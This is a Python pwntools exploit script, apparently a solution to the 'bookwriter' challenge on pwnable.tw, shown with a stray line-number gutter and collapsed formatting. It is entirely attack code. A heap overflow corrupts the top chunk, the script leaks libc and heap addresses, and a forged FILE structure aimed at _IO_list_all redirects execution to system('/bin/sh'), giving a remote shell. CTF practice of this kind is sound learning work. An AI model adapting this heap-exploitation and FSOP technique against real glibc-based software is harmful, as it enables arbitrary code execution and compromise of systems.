1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91
|
from pwn import *
exe = ELF("./bookwriter_patched") libc = ELF("./libc_64.so.6") ld = ELF("./ld-2.23.so")
context.binary = exe context.log_level = "debug"
def conn(): if args.LOCAL: r = process([exe.path]) else: r = remote("chall.pwnable.tw", 10304)
return r
def add_page (p, size, content): p.sendafter (b'Your choice :', b'1') p.sendafter (b'Size of page :', size) p.sendafter (b'Content :', content)
def view_page (p, id): p.sendafter (b'Your choice :', b'2') p.sendafter (b'Index of page :', id)
def edit_page (p, id, content): p.sendafter (b'Your choice :', b'3') p.sendafter (b'Index of page :', id) p.sendafter (b'Content:', content)
def info (p, status, author, old_author): p.sendafter (b'Your choice :', b'4') p.recvuntil (old_author) current_author = u64 (p.recv (4) + b'\x00' * 4)
p.sendlineafter (b'Do you want to change the author ? (yes:1 / no:0) ', status) if status == b'1': p.sendafter (b'Author :', author)
return current_author
def main(): p = conn() p.sendafter (b'Author :', b'A' * 64)
add_page (p, b'24', b'A' * 24) edit_page (p, b'0', b'A' * 24) edit_page (p, b'0', b'A' * 24 + b'\xe1\x0f\x00')
add_page (p, b'4096', b'1')
add_page (p, b'64', b'A' * 8) view_page (p, b'2') p.recvuntil (b'Content :\n' + b'A' * 8) leak_libc = u64 (p.recv (6) + 2 * b'\x00') libc.address = leak_libc - libc.symbols['main_arena'] - 1640 print ("The address of leak from libc is: ", hex (leak_libc)) print ("The address of libc is: ", hex (libc.address))
leak_heap = info (p, b'0', b'', b'A' * 64) print ("The address of heap is: ", hex (leak_heap - 0x10))
for i in range (5): add_page (p, b'24', 24 * b'A') edit_page (p, b'0', b'\x00') add_page (p, b'24', b'asdf')
payload = b'A' * 16 + p64 (libc.symbols["system"]) + p64 (libc.symbols['system']) + p64 (0) * 3 payload = payload.ljust (0x120, b'A') payload += b'/bin/sh\x00' + p64 (0x61) + p64 (0) + p64 (libc.symbols['_IO_list_all'] - 0x10) payload += p64 (2) + p64 (3) payload += 0x90 * b'A' payload += p32 (0) payload += b"A" * 0x14 payload += p64 (leak_heap)
edit_page (p, b'0', payload) edit_page (p, b'0', b'\x00') p.sendafter (b'Your choice :', b'1') p.sendafter (b'Size of page :', b'10')
p.interactive()
if __name__ == "__main__": main()
|